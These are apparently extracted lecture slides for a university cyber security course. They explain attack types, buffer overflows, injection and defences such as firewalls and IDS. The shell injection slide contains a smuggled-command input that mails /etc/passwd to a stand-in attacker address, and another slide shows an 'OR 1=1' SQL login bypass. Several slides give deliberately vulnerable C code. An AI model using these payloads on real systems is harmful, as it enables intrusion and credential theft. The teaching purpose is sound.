Cyber Security

Dr Vivekanand Bhat

Department of Computer Science and Engineering
Manipal Institute of Technology, Manipal, Karnataka
Need for Computer Security

• Computers Manage following important information
  – From entertainment to corporate information
  – From bank accounts to driver’s licenses

• If we fail to secure and safe guard our computers, they could be our worst enemy
Information Age

• Information is power
• Since the development of the World Wide Web (WWW), we can access information quite easily from anywhere in the world.
• WWW also led to the wider acceptance of the Internet as the information super high way.
• Almost every computer in the world can be connected to each other through the Internet.
Information Age

• Today Internet is used to
  – Exchange e-mails
  – Download music
  – Go shopping and book theater tickets
  – Even television is being broadcast over Internet using Internet Protocol TV (IP TV)

• Good aspect of Internet
  – Created prosperity

• Bad aspect Internet
  – People, economics, & assets becoming highly vulnerable to security threats
Information Age

• Digital society (DS) different from normal society due to following reasons
  – DS is made up of bits and bytes
  – When an object is stolen in DS, it is simply copied. Someone can steal your DS objects although you still possess them. (When a physical object is stolen, it will be not with its legitimate owner)
  – Replicating attacks are cheaper and easier
  – Easy to be anonymous
  – No resource constraints
  – Propagation of viruses, worms, or malware is instantaneous
Digital Assets

• Assets could be
  – Personal assets (Ex: emails, documents, address books, digital phones etc)
  – Community or Corporate (Ex: Documents, project reports, intellectual property)

• Static Assets
  – They do not travel very often in the course of doing business. (Ex: Classified documents, personal financial accounts, presentation slides, databases)
  – They are stored in magnetic media
  – They can be stolen
  – They need to be secured
  – They are stored in a place that is secured
Digital Assets

• Assets on transit
  – These assets are mobile (Ex: When you send email, purchase a book or movie ticket through the Internet, it passes from one location to another)
  – They move from one place to another
  – To steal these kinds of assets, an adversary only needs to see the message
  – To protect such assets, we need network security

• Securing Digital Assets
  – Security techniques for static assets are different from that of an asset on transit
  – For Mobile Assets (When you sending information over Internet encrypt the information along with a MAC)
  – For Static Assets (We can encrypt documents in our computer, but a virus may infect your computer and destroy the document. Therefore in addition to encryption, proper backup procedures are needed.)
Vulnerability and Attacks

• Vulnerability is a week point in a system results in a security attack
  – It could be in a program, in the OS, in the DB, in the network, or in firewall configuration

• Exploiting Vulnerability
  – Once the security vulnerability is known, how to exploit it is also known. What is not known is who has the device with the vulnerability and how to reach it.
Passive Attacks

• In a passive attack the original object is left unchanged
  – When a hacker eavesdrops on your system or monitors the transmitted packets, it is a passive attack.
  – This also called sniffing attack, where the hacker is sniffing and getting the sensitive information
  – Sniffing can be done by opening the Ethernet interface in a computer in promiscuous mode
  – In promiscuous mode the hacker can see all the TCP traffic flowing in the LAN (Ex: Suppose you are using Telnet to log into a remote system. When you enter user name and password, the adversary see all information through his computer, which is running in promiscuous mode)
  – To avoid someone sniffing your traffic, use SSH instead of Telnet
  – In SSH all traffic is encrypted
  – Passive attack can happen both on static or mobile assets
Active attacks

• The original object is changed or manipulated
  – Suppose hacker knows your user name and password, and target telnet server. The hacker can now impersonate you and log into remote system
  – When person modifies a message or impersonate someone, it is an active attack
  – When a message is blocked or stopped from reaching its desired destination, it is an active attack
  – Passive attack can happen both on static or mobile assets
Components of an Information System

- Information system (IS) is entire set of software, hardware, data, people, procedures, and networks necessary to use information as a resource in the organization.
Securing Components

• Computer can be subject of an attack and/or the object of an attack

  – When the subject of an attack, computer is used as an active tool to conduct attack

  – When the object of an attack, computer is the entity being attacked
FIGURE 1-6 Computer as the Subject and Object of an Attack
Balancing Information Security and Access

• Impossible to obtain perfect security—it is a process, not an absolute

• Security should be considered balance between protection and availability

• To achieve balance, level of security must allow reasonable access, yet protect against threats
Figure 1-7 Balancing Information Security and Access

CISO: Encryption is needed to protect secrets of the organization.

User 1: Encrypting e-mail is a hassle.

User 2: Encrypting e-mail slows me down.
Security Attacks

• There are also two types of attacks: direct attacks and indirect attacks
  – In direct attack attacker uses his personal computer to break into a system. Direct attacks originate from the threat
  – In an indirect attack, a system is compromised and used to attack other systems, such as DDoS attack
Hacking

• Process of exploiting vulnerabilities and launching an attack on computers is called hacking
• Bad guys who try to break security or steal digital assets as adversaries or blackhats.
• They are also known as phreakers, pirates or simply computer underworld. All these people commonly known as hackers
• The good guys who try to protect the digital society are called whitehats
• Hackers posses deep knowledge about computers, they are expert in reverse engineering and can do troubleshooting
• Hackers are knowledgeable people who use their knowledge for malicious and evil purpose.
• Hackers hack computers and networks for profit as well as for fun
Hacking

- **Ethical hackers or whitehats**: They do not exploit vulnerability in the system for evil purpose, instead they correct it to make system safe and secure.

- Ethical hacking can be considered testing security of the system
Social Engineering

• Social engineering is a technique used by adversaries to get personal details such as username and password, bank or credit card information from a person, rather than breaking into a system

• Tools of social engineering
  – Trust
  – Greed
Identity Theft

• Stealing personal identification information
• For ex If attacker knows email ID and password, medical records, ATM cards, PIN etc, they use it for malicious purpose.
• Forms of identity theft can relate to
  – Financial identity
  – Personal identity
  – Medical record
  – Business or commercial identity theft
Various Security Attacks

• Brute-Force Attack: In cryptography, a brute force attack or exhaustive key search is a strategy that involves systematically checking all possible keys until the correct key is found. In the worst case, this would involve traversing the entire search space.

• A brute-force attack was used to crack the Global System for Mobile (GSM) communications subscriber identity module (SIM) security keys.
Various Security Attacks

• **Authentication Attacks:** Authentication is the process of validating something as authentic

• **Types of Authentication attacks:**

• **Dictionary Attack:** A dictionary attack is a technique for defeating an authentication mechanism by trying to determine the password by searching a large number of possibilities from dictionaries of different languages.

• A dictionary attack is not only used for discovering a password. It also used by spammers to discover or harvest an e-mail ID. This generally known as a dictionary harvest attack, where spammer discovers a valid e-mail ID
Authentication attacks:

- **Replay attack:** In a replay attack, the adversary replays a genuine message captured earlier to perform a function intended for legitimate user.
- As the message is genuine, the service provider system mistakenly accepts the adversary as the legitimate user.
- One of the best ways to prevent a replay attack is to have shared dynamic keys between the nodes that continuously change.
- “A One Time Password System (OTP)” recommends a technique through which replay attack can be prevented.
Authentication attacks:

- **Password Sniffing**: It is the technique to discover a password using packet analyzer tools.
Authentication attacks:

- **Password Guessing**: In this attack the adversary tries to guess the user-ID and the corresponding password.

- **Password crack**: attempting to reverse calculate a password.
Ransomware

Ransomware, or ransomware, is a type of malware that prevents users from accessing their system or personal files and demands ransom payment in order to regain access.
Attacks (continued)

- **Spoofing**: technique used to gain unauthorized access; intruder assumes a trusted IP address

- **Man-in-the-middle**: attacker monitors network packets, modifies them, and inserts them back into network

- **Spam**: unsolicited commercial e-mail; more a nuisance than an attack, though is emerging as a vector for some attacks
IP Spoofing

**Figure 2-10** IP Spoofing
IP Spoofing

Attacker
real IP: 1.1.1.1

Internet-Router
source: 3.3.3.3
destination: 2.2.2.2

Internet

trusted Host
IP: 3.3.3.3
(might be target of DoS-attack)

source (spoofed): 3.3.3.3
destination: 2.2.2.2

source: 2.2.2.2
destination: 3.3.3.3

Victim
IP: 2.2.2.2
(possible security breach)
1) Company A attempts to establish an encrypted session with Company B.

2) Hacker intercepts transmission, and poses as Company B. Hacker exchanges his own keys with Company A. Hacker then establishes a session with Company B, posing as Company A.

3) Company B sends all messages to the hacker who receives, decrypts, copies, and forwards copies (possibly modified) to Company B.

**FIGURE 2-11** Man-in-the-Middle Attack
Attacks (continued)

• Mail bombing: also a DoS; attacker routes large quantities of e-mail to target

• Sniffers: program or device that monitors data traveling over network; can be used both for legitimate purposes and for stealing information from a network

• Social engineering: using social skills to convince people to reveal access credentials or other valuable information to attacker
FIGURE 2-12 Nigerian National Petroleum Company
Attacks (continued)

• “People are the weakest link. You can have the best technology; firewalls, intrusion-detection systems, biometric devices ... and somebody can call an unsuspecting employee. That's all she wrote, baby. They got everything.” — Kevin Mitnick

• **Phishing:** an attempt to gain personal/financial information from individual, usually by posing as legitimate entity:
  
  – Phishing attacks use 3 primary techniques: URL manipulation, Web site forgery, & phone phishing
URL Manipulation

Figure 2-15 Phishing Example: Lure
Web site forgery
Attacks (continued)

• **Pharming**: redirection of legitimate Web traffic (e.g., browser requests) to illegitimate site for the purpose of obtaining private information.

• **Timing attack**: relatively new; works by exploring contents of a Web browser’s cache to create malicious cookie on the client’s system. The cookie can allow the designer to collect information on how to access password-protected sites.
Denial of Service attack

Denial-of-service (DoS): attacker sends large number of connection or information requests to a target

Target system cannot handle successfully along with other, legitimate service requests

May result in system crash or inability to perform ordinary functions

Distributed denial-of-service (DDoS): coordinated stream of requests is launched against target from many locations simultaneously
In a denial-of-service attack, a hacker compromises a system and uses that system to attack the target computer, flooding it with more requests for services than the target can handle.

In a distributed denial-of-service attack, dozens or even hundreds of computers (known as zombies) are compromised, loaded with DoS attack software and then remotely activated by the hacker to conduct a coordinated attack.
Denial-of-service Attacks (DoS)

• Denial-of-Service (DOS)
  – Prevention of legitimate access to systems
  – Also Distributed-Denial-of-Service (DDoS)
  – Different types:
    • Ping-of-Death
    • Teardrop
    • Smurf
    • SYN
Denial-of-service Attacks (DoS)

- In a DoS attack the adversary prevent normal use of network services either by disabling or overloading it.
- It is an attack on non availability of legitimate service.
- Distributed Denial-of-Service Attack (DDos): It is a DoS attack, where in the adversary takes control of multiple systems over the Internet.
- A Virus or a worm attacks can also be categorized as a DDoS attack.
- A Virus is a piece of software that can “infect” other programs.
- A Worm is defined as a self replicating virus.
- The worm replicates in the target computer and launches further attacks.
Denial-of-service Attacks (DoS)

- **Half-Open Attack or SYN-Flooding:** A **SYN flood** is a form of denial-of-service attack in which an attacker sends a succession of **SYN** requests to a target's system in an attempt to consume enough server resources to make the system unresponsive to legitimate traffic.

- In the first stage, the client sends a SYN packet to the server. Upon receiving the SYN packet in stage two, the server sends back a SYN-ACK back to the client. In third stage the client then responds back to the server with an ACK packet. But these ACK will never arrive at server side. Hence connection is not established.

A normal connection between a client and a server
Denial-of-service Attacks (DoS)

• Half-Open Attack or SYN-Flooding:

• Normally when a client attempts to start a TCP connection to a server, the client and server exchange a series of messages which normally runs like this:
  – The client requests a connection by sending a SYN (synchronize) message to the server.
  – The server acknowledges this request by sending SYN-ACK back to the client.
  – The client responds with an ACK, and the connection is established.
Denial-of-service Attacks (DoS)

- Half-Open Attack or SYN-Flooding: The attacker sends several packets but does not send the "ACK" back to the server. The connections are hence half-opened and consuming server resources. Alice, a legitimate user, tries to connect to server, but the server refuses to open a connection resulting in a denial of service.
Denial-of-service Attacks (DoS)

• Denial of Service through User-ID Lock Attack: An attacker attempts to lock out user accounts by purposely failing the authentication process as many times as needed to trigger the account lockout functionality. This in turn prevents even the valid user from obtaining access to their account.

• For example, if an account lockout policy states that users are locked out of their accounts after three failed login attempts, an attacker can lock out accounts by deliberately sending an invalid password three times.

• On a large scale, this attack can be used as one method in launching a denial of service attack on many accounts.
Denial-of-service Attacks (DoS)

• Ping of Death Attack: A **ping of death** is a type of attack on a computer that involves sending a **malformed** or otherwise malicious **ping** to a computer.

• A correctly formed ping message is typically 56 **bytes** in size, or 84 bytes when the **Internet Protocol** [IP] header is considered. Historically, many computer systems could not properly handle a ping packet larger than the maximum **IPv4** packet size of 65535 bytes. This likely to overflow memory buffers. Larger packets could **crash** the target computer.
Denial-of-service Attacks (DoS)

• Smurf Attack: It is a distributed denial-of-service attack in which large numbers of Internet Control Message Protocol (ICMP) packets with the intended victim's spoofed source IP are broadcast to a computer network using an IP Broadcast address. Most devices on a network will, by default, respond to this by sending a reply to the source IP address. If the number of machines on the network that receive and respond to these packets is very large, the victim's computer will be flooded with traffic. This can slow down the victim's computer to the point where it becomes impossible to work on.

• The name Smurf comes from the file "smurf.c", the source code of the attack program, which was released in 1997 by T Freak.
Packet Sniffer

- A **packet sniffer** is designed for a network traffic analyzer or protocol analyzer. Such sniffers are used legitimately by a network engineer to monitor and troubleshoot network traffic.
- Can be used to identity erroneous packets & to debug network programs.
- Used by adversaries to mount passive attack to discover user identity or for identity theft.
- In an Ethernet network, at the physical layer every Ethernet interface can see all traffic flowing through the network. It needs to do this to discover collision.
- However, if the Ethernet interface is placed into *promiscuous mode*, the packet interface does not do any filtering. It passes all traffic in the LAN segment regardless of destination. *This how a standard computer can work as packet sniffer.*
Packet Sniffer

- **Tcpdump**
  - Tcpdump opens a network interface in promiscuous mode & prints out a description of the contents of packets on the network interface
  - It can be run to save the captured packet data into a file for later analysis
  - It can also be run to read from a saved packet file rather than to read packets from a network interface
  - In all cases, only packets that match some predefined expression will be processed
  - Tcpdump uses a **pcap** library to capture packets
Packet Sniffer

• Ethereal
  – It is a modern version of tcpdump with graphical user interface
  – It does a similar function of packet capture and display
Attacks on Application

• Overflow Attack: A buffer overflow occurs when a program or process tries to store more data in a buffer (temporary data storage area) than it was intended to hold.

• Out-of-bound writes in buffer can corrupt the content of adjacent memory

• This very common with C programs. In strcpy function call, the input data is written to target buffer until there is a NULL terminator
void function (char *str) {
    char buffer[16];
    strcpy(buffer, str);
}

int main () {
    char *str = "I am greater than 16 bytes"; // length of str = 27 bytes
    function (str);
}

This program is guaranteed to cause unexpected behavior, because a string (str) of 27 bytes has been copied to a location (buffer) that has been allocated for only 16 bytes. The extra bytes run past the buffer and overwrites the space allocated for the FP, return address and so on. This, in turn, corrupts the process stack. The function used to copy the string is strcpy, which completes no checking of bounds. Using strncpy would have prevented this corruption of the stack. However, this classic example shows that a buffer overflow can overwrite a function's return address,
Attacks on Application

• **Stack Smashing Attack:** The hacker uses the overflow attack technique to cause an overflow of certain variables in the stack

• Stack smashing is causing a stack in a computer application or operating system to overflow. This makes it possible to subvert the program or system cause it to crash.
Stack Smashing Attack

```c
#include <string.h>
void foo (char *bar)
{
    char c[12];
    strcpy(c, bar); // no bounds checking
}
int main (int argc, char **argv)
{
    foo(argv[1]);
}
```

This code takes an argument from the command line and copies it to a local stack variable `c`. This works fine for command line arguments smaller than 12 characters. Any arguments larger than 11 characters long will result in corruption of the stack.
Overflow Attack

- List of unsafe functions in the standard C Library
  - strcpy()
  - strcat()
  - getwd()
  - gets()
  - fscanf()
  - scanf()
  - sprintf()
Overflow Attack

• The C programming language does not perform automatic bounds checking on arrays or pointers as many other languages do. In addition, the standard C library is filled with a handful of very dangerous functions.

• strcpy(char *dest, const char *src) May overflow the dest buffer
• strcat(char *dest, const char *src) May overflow the dest buffer
• getwd(char *buf) May overflow the buf buffer
• gets(char *s) May overflow the s buffer
• scanf(const char *format, ...) May overflow its arguments.
• realpath(char *path, char resolved_path[]) May overflow the path buffer
• sprintf(char *str, const char *format, ...) May overflow the str buffer.
Attacks on Application

• Remote Procedure Call attack: It is buffer overflow attack

• RPC is technology that allows a program in one computer to call a procedure in another computer

• In an RPC attack, the buffer overflow vulnerability is exploited to take control of RPC code. RPC being the system program, runs with system privilege. Therefore, the exploit can do anything with the victim computer

• Blaster worm exploited one such vulnerability in Microsoft’s DCOM RPC interface
Attacks on Application

- **Code Injection Attacks**: Code injection is a technique to introduce or “inject” code into a computer program or system and then execute it in the target system.
- The injected code either replaces the originally intended purpose of the program or enhances the function of the program.
Shell injection

Let us assume that you have developed a Web site using a scripting language. Consider a simple UNIX shell program that accepts the user name as parameter & echoes it back

echo Welcome $1 $2 $3 $4

When user enters his name, John Smith, Jr., MD,
The program displays “Welcome John Smith Jr., MD.

Now the user or a hacker executed program with following input:
hi; cat /etc/passwd|mail attacker@attacker.com

This will make the statement as

echo Welcome hi; cat /etc/passwd|mail attacker@attacker.com

The hacker has injected malicious code into your shells cript to execute a command, cat /etc/passwd|mail attacker@attacker.com

This will export the password file from the server to hacker
• **SQL injection**

SQL injection takes advantage of the syntax of SQL to inject commands that can read or modify a database, or compromise the meaning of the original query. For example, consider a web page that has two fields to allow users to enter a user name and a password.

• `SELECT UserList.Username`  
• `FROM UserList`  
• `WHERE UserList.Username = 'Username'`  
• `AND UserList.Password = 'Password'`

If this query returns any rows, then access is granted. However, if the malicious user enters a valid Username and injects some valid code (`'password' OR '1'='1'`) in the Password field, then the resulting query will look like this:

• `SELECT UserList.Username`  
• `FROM UserList`  
• `WHERE UserList.Username = 'Username'`  
• `AND UserList.Password = 'password' OR '1'='1'`

In the example above, "Password" is assumed to be blank OR some innocuous string "'1'='1'" will always be true and many rows will be returned, thereby allowing access.
Attacks on Application

• **Luring attack:** Where the attacker lures a higher privileged code to do something on his behalf

• For example, adversary sends an executable zip file to the root user of UNIX server.
Computer Security

• In computer security, we secure a computer by securing different systems and subsystems within the computer

• Physical security:
  – Preventing an unauthorized user from entering into some restricted zones (it could be server room or a tape library archives)
  – USB are physically removed from computers so that people cannot copy files
  – Computers are physically secured through a smart card or physical keys or biometric keys
OS Security

- **Operating System Security**: Required to secure the OS of a computer.

- OS security can be divided into different categories

- **Shell Security**
  - Shell provides an interactive user interface to access the OS’s (kernel’s) services. A user can not access a computer without going through shell
  - Shell authenticates users through their user name and password. Once the user passes through the shell authentication, the user is considered to be trusted.
OS Security

In a military system there are different levels of security based on the trust level of people and the sensitivity of the information (such as Top secret, Secret, Confidential, and Unclassified as shown below:)

- Top Secret users can share data with one another
- Top Secret users can retrieve information from Secret user at a lower security level
- Secret users (at a lower level) can’t retrieve information from Top Secret user (a higher level)

Diagram:

- Top secret
- Secret
- Confidential
- Unclassified
OS Security

• 3 Properties associated with security Levels:
  • **Classification level**: Indicates the degree of risk or damage it may cause if the security of the system is compromised or if this information is disclosed.
  • **Clearance level**: Indicates the highest level of classified information to be handled or stored by the person. For computers, clearance level will indicate what information can be stored in a device or a file.
  • **Security level**: It is a generic term for either a clearance level or a classification level.
File system security

- Files systems are secured through an access control list (ACL)
- ACL is a list of permission associated with an object. The object can be file, executable program, or a printer
- The access permission could be read, write, or execute for users such as owner, group, or others
- Example: type ls -l

<table>
<thead>
<tr>
<th>Type &amp; Permission filed</th>
<th>No of links</th>
<th>File’s Owner</th>
<th>File’s Group</th>
<th>Size in bytes</th>
<th>Date of last modification</th>
<th>File name</th>
</tr>
</thead>
<tbody>
<tr>
<td>drwxrwxrwx</td>
<td>4</td>
<td>george</td>
<td>team</td>
<td>122</td>
<td>Dec 12 18:02</td>
<td>Projects</td>
</tr>
<tr>
<td>-rw-rw-rw-</td>
<td>1</td>
<td>george</td>
<td>team</td>
<td>1873</td>
<td>Aug 23 08:34</td>
<td>test</td>
</tr>
<tr>
<td>-rw-rw-rw-</td>
<td>1</td>
<td>george</td>
<td>team</td>
<td>1234</td>
<td>Sep 12 11:13</td>
<td>datafile</td>
</tr>
</tbody>
</table>

Type field: The first character in the field indicates a file type of one of the following:
- d = directory
- l = symbolic link
- s = socket
- p = named pipe
- - = regular file
- c= character (unbuffered) device file special
- b=block (buffered) device file special. Links: The number of directory entries that refer to the file
Kernel Security

• A kernel is a central component of an operating system.
• It acts as an interface between the user applications (software) and the hardware (CPU, disk memory etc).
• It manages input/output requests from software, and translates them into data processing instructions for the central processing unit and other electronic components of a computer.
• Kernel security will secure various parts and resources within the computer. This include memory, processes, different I/O drivers like disk, &terminal drivers
• Kernel security will also protect itself from external threats & will ensure that kernel space cannot be corrupted
Kernel Security

• In UNIX, anyone can write to any other terminal device by using a command
  `cat myfile > /dev/tty1`

• However, one cannot read from a terminal device owned by other user

• This is to prohibit someone from reading the password entered by other users.

• The owner of device file tty1 will have rwx permission on a terminal device, whereas others will have –wx permission on other’s device
Network Security

- In the network security, we secure networks that are connecting various computers.
- Most of the attacks and penetrations take place through networks.
- Viruses, worms, & Trojan horses use networks to propagate from one computer to another.
- A network is generally divided into untrusted (public) and trusted (private) zones.
- We use routers, firewalls, network address translation (NAT), IDS, IPS, antivirus and proxies between the trusted and untrusted zones within a network.
- **Network Address Translation (NAT)** is the process where a network device, usually a firewall, assigns a public address to a computer (or group of computers) inside a private network.
- The main use of NAT is to limit the number of public IP addresses an organization or company must use, for both economy and security purposes.
Counter External Threats

• Stopping Attacker:
  – You need to write programs that are robust and safe
  – The challenge in secured and safe programming is that an attacker can attack any time they choose
  – The attacker can use any platform for launching the attack and any technique they like (need not be logical or legal)
  – However system architect can not do something that a platform or the programming language does not permit
  – A programmer always needs to play by the rules and be vigilant all the time. This is achieved using different devices (such as firewalls, IDS or IPS) and tools in the network
Firewall

- Its function is to stop unwanted traffic from attackers or malicious hosts to enter into trusted networks (private networks).
- Firewalls are typically installed between the untrusted public Internet and trusted private LAN.
- A zone between the Internet & a trusted internal network is often referred to as a perimeter network or demilitarized zone (DMZ).
- Without proper configuration, a firewall can often become worthless.
- Therefore, it has to be configured to permit desired packets and deny malicious packets, or proxy data.
- In Linux system freely available firewalls are:
  - Netfilter and Iptables
  - **Netfilter** provides a set of hooks within the Linux kernel for intercepting and manipulating network packets.
  - **Iptables** provides interfaces for administrators to create rules for packet filtering and NAT modules.
Firewall

• Functions of Firewalls
  – **Service control**: Controls the type of inbound/outbound services (deny/accept/reject packets from/to IP address or TCP port)
  – **Direction control**: Controls the direction of service request (NO Inward RLOGIN using address translation and gateway/proxy functions)
  – **User control**: Restricts services and access to specified users (NO FTP for TOM)
  – **Behavior control**: Controls message based on the content and style (abusive?)
Firewall

- **Firewalls Categories:**
  - A **packet filter firewall** that analyzes network traffic at the network layer. Each IP network packet is examined to see whether it matches one of a set of rules defining what data flows are allowed.
  - A **circuit level firewalls (also known as stateful firewalls)** is a second generation firewall technology that validates the fact that a packet is either a connection request or a data-packet belonging to a connection, or virtual circuit, between two peer transport layers.
  - An **application layer firewall (also known as proxy servers)** that examines network packets for valid data at the application layer before allowing a connection. It maintains connection state and sequence information.
  - A **dynamic packet filter firewall** that allows modification of security rule base on the fly.
Intrusion Detection System (IDS)

- The IDS attempts to catch intruders
- The intruder could be an external user attempting to intrude in the network or could be someone inside the network attempting to intrude in a host
- IDSs are grouped into host-based IDS or network-based IDS
- A host-based IDS monitors all system logs and usage of the system. Depending on the policy and rules set by the administrator, it tries to determine whether there is an intrusion or attempt for intrusion
- For network-based intrusion systems the network traffic is monitored to detect intrusion or attempted intrusion
- Most widely used an open source IDS called Snort
Intrusion Detection System (IDS)

• IDS can be either misuse (signature) detection or anomaly detection

• In the case of misuse, a large signature database is maintained. This signature database is regularly updated with history data. Each and every known security threat is stored in this signature database. Any attempt to access a host or network resource is compared with the signature database. If there is a match, IDS system identifies this as a violation

• A known virus attack can be prevented and an unknown new attack will go undetected
Intrusion Detection System (IDS)

• In anomaly detection there is no such signature database
• It is also sometime called not-use detection
• It create a model of normal use and look for activity that does not conform to normal behavior. Deviations labeled as attacks because they do not fit the use model
• Here data mining and AI techniques are used to find outlier patterns
• It can detect unknown virus or new attack that has not occurred before
Intrusion Prevention System (IPS)

• An IDS is a “pass by” system whereas, an IPS is a “pass through” system so that the moment the malicious activity is detected, it can stop the intruder.

• IPS is realized in firewalls by combining with the IDS functionality

• One of the IPS systems from Cisco is IPS 4200 series sensors

• These sensors identify, classify, and stop malicious activity including worms, directed attacks, DDoS, reconnaissance, and application abuse. It offers following functions:
  – Detect threats to intellectual property and customer data, with modular inspection throughout the network stack
  – Stops sophisticated attackers by detecting attack against vulnerabilities, behavior anomalies, and evasion
  – Prevents threats with confidence, using prevention actions
  – Focus installation’s threat response, with dynamic threat ratings and detailed logging
Honeypot

- Honeypot – a pot full of honey to attract attackers as prey
- **Honeypot** is intended to detect, deflect, or, in some manner, counteract attempts of security attacks
- A honeypot consists of a **computer**, **data**, or a network site that appears to be part of a **network**, but which is actually isolated, unprotected and monitored
- Most often, honeypot is a computer, but you can make other honeypots such as files or data records, or even unused IP address space
- Honeypot is valuable as a surveillance and early-warning tool
- Nepenthes ([http://nepenthes.mwcollect.org](http://nepenthes.mwcollect.org)) uses concept of honeypot for malware detection. It works like a sensor within your organization to detect spyware and malware spreading internally
- More information at [http://www.honeypots.net](http://www.honeypots.net)
Penetration Test & Ethical Hacking

• Penetration tests are perfumed to discover security vulnerabilities
• Ethical hacking is similar to penetration test; you behave like a hacker and attempt to hack the system

Security Programming

• A programmer has a responsibility to ensure that the code written is secure and safe with minimum or no vulnerability.
• Security vulnerability in a program can also be booked as a security bug
Security Attributes

• Confidentiality: keep information secret
• Integrity: detect the modification of information
• Availability: Service is available to user. Any attack on availability is called a DOS attack
• Authentication: validate the identity of the user
• Authorization: add usage constraints on objects based on security level
• Accounting: usage of a service is recorded
• Anonymity: User is anonymous to the external world
Secured Programming

• In secured programming you use the security attributes of confidentiality, integrity, availability, authentication, authorization, & accounting to ensure that input data are secure
Safe Programming

• A safe program should run safely on every computer it is designed to run on
• It cannot be exploited for some unauthorized task
• It cannot be used as a thoroughfare to attack something else
• It can never used to escalate the privilege of an attacker
• It will not work as a double agent or Trojan horse
• It will never do any exceptional act
Vulnerability Remediation

• Two approaches:
  • Minimize the number of vulnerabilities in the software that is being developed
  • Minimize the number of vulnerabilities in the software that have already been deployed
  • Reducing the number of new vulnerabilities in the new software is the focus of secured and safe programming, While removing existing vulnerabilities is the focus of vulnerability remediation
  • For vulnerability remediation, knowledge of vulnerability is essential
Vulnerability Remediation (VR)

- CERT (www.cert.org) is the centralized body that organizes this activity
- VR process adopted by CERT involves the following 4 steps
  - Collection: Knowledge about vulnerability is collected
  - Analysis: Analysis include background research, runtime and static analysis. This also include consultation with various stakeholders, vendors & experts
  - Coordination: When handling report, CERT coordinates with vendors privately to address vulnerabilities
  - Disclosure: After coordinating with vendors, CERT notifies critical audiences and the public about vulnerabilities
Database Security

• Most of the modern databases can secure data within the database.

• Security of database includes the following functions
  – Identification and authentication of the user
    • Is the current user authorized to use this information?
  – Object access control
    • What are the objects the current user can access? If the user has access to an object, what type of operation can the user do with this object?
  – Auditing
    • What type of activities are happening with the objects, database and usage?
  – Security issues
    • How is the data and system integrity, reliability, availability, etc, maintained?
Database Authentication

• Oracle password-based authentication
  – Each oracle user must have a username and a password

• Host-based authentication
  – Users will authenticated by the OS authentication procedures

• Third-party based authentication
  – These could be Kerberos, smart cards, or biometric authentications
  – Supports multifactor security-something you have (ATM) and something you know (PIN)

• PKI based authentication
  – Offers enhanced PKI-based single sign-on certificates for authentication

• Remote authentication
  – Supports remote authentication of users through Remote Authentication Dial-In User Service (RADIUS)

• Authentication through a middle tier
  – Preserves the identity of real user through middleware

• Mutual authentication for secure distributed computing
  – Both client and server authenticate each other
Database privileges

• **System privileges:** One example of a system privilege is the CREATE USER privilege that allows a user to create a database username; another is SELECT ANYTABLE, which allows a user to query any table in the database. Oracle provides many system privileges such as permission to connect to the database and permission to change a table’s attributes

• **Object privileges:** An object privilege authorizes a user to perform a specific operation on a specific object. For example, you can grant user to select from the CUST table by granting him the SELECT privilege on that table, where the user can query the CUST table but cannot query any other tables in the database; user can not update the CUST table
Secure Metadata

• The data dictionary is the data about data. It contains all the necessary information about the database, its privileges, etc.

• Oracle provides protection for the data dictionary, ensuring that only those individuals with an administrator privilege can connect and alter data dictionary
Customize Access to Information

• Oracle allows users to customize the access to the database through customized views and stored procedures

• **Through views:** Allows you to limit the data that a user can access within objects. A view is a content or content-dependent subset of one or more tables (or views)
  
  – For example, you can define a view that allows a manager to view only the information in the EMP table that is relevant to staff members in his own department

• **Through stored procedure:** Oracle-stored procedures offer a flexible way for you not only to limit privileges a user has and the data that a user can access but also to define a limited set of related operations that a user can perform within the database

  – If security is written in the front-end application, the user can bypass all the security of the application if the user has the direct access to the database.

  – Stored procedures help enforce least privilege as well as business rule integrity, by ensuring that users have minimum privileges, & can access data according to well-formed business rules
Virtual Private Database

- VPN (Virtual Private Network) gives the perception of owning a private network over a public network like the Internet
- VPD is similar concept in database
- VPD offers server enforced, flexible, fine-grained access control
- For Internet access, the VPD can ensure that online banking customers see only their own accounts and that Web storefront customers see their own orders
High Availability Database

- Availability of service is considered part of security
- Availability will be equivalent to ensuring that a database is available 24 h a day 7 days a week
- The attacker can manipulate system resources to deny their availability to other users
- Oracle mechanisms provides uninterrupted database access and minimizes DoS. These mechanisms are
  - online backup & recovery
  - advanced replication
  - data partitioning
Database Encryption

• Full database Encryption: Encrypting entire database
• Offline database encryption: To encrypt the data stored offline
• Partial database encryption: To protect sensitive information (credit card numbers or identity information) database encrypted partially
• Network encryption: Encryption of data passing over a network

PL/SQL Code Obfuscation

• PL/SQL source code and implementation details are not visible to attacker
Common Criteria

• CC is an international standard for computer security
• CC provides assurance that the process of specification, implementation, and evaluation of a computer security product has been conducted in a rigorous and standard manner
• The product or system that is the subject of the evaluation is called target of evaluation (TOE). This is done as follows
  – Protection profile (PP)
  – Security functional requirement
  – Security target (ST)
  – Security assurance requirements (SAR)
  – Evaluation assurance level (EAL)
Evaluation Assurance Levels (EAL)

EAL1. Functionally tested
EAL2. Structurally tested
EAL3. Methodically tested and checked
EAL4. Methodically designed, tested, & reviewed
EAL5. Semiformally designed & tested
EAL6. Semiformally verified design & tested
EAL7. Formally verified design & tested
Security Standards

• Public-Key Cryptographic Standards:
  – RSA encryption standard
  – Diffie-Hellman Key Agreement Standard
  – Password-based encryption standard
  – Extended-Certificate Syntax standard
  – Cryptographic Message syntax standard
  – Private-Key Information syntax standard
  – Selected Attribute types
  – Certification request syntax standard
  – Cryptographic Token Interface standard
  – Personal Information Exchange Syntax Standard
  – Cryptographic Token Information Format standard
  – Elliptic Curve cryptographic standard

• Advanced encryption standard
Transport Layer Security (TLS)

• TLS and its predecessor, SSL are protocols that provide secure communications over public networks such as Internet.
• TLS offers secured communication at the transport layer
• Primary goal of protocol is to provide privacy and data integrity between two communicating applications
• TLS protocol composed of 2 layers: TLS handshake protocol and TLS record protocol
• TLS handshake protocol provides connection security that has following three basic properties:
  – Peer’s identity can be authenticated using asymmetric or symmetric key cryptography
  – The negotiation is reliable. No attacker can modify the negotiation without being detected
  – The negotiation of shared secret is unavailable to eavesdroppers
• TLS record protocol provides connection security has 2 properties
  – Privacy: Confidentiality of data
  – Integrity: Connection is reliable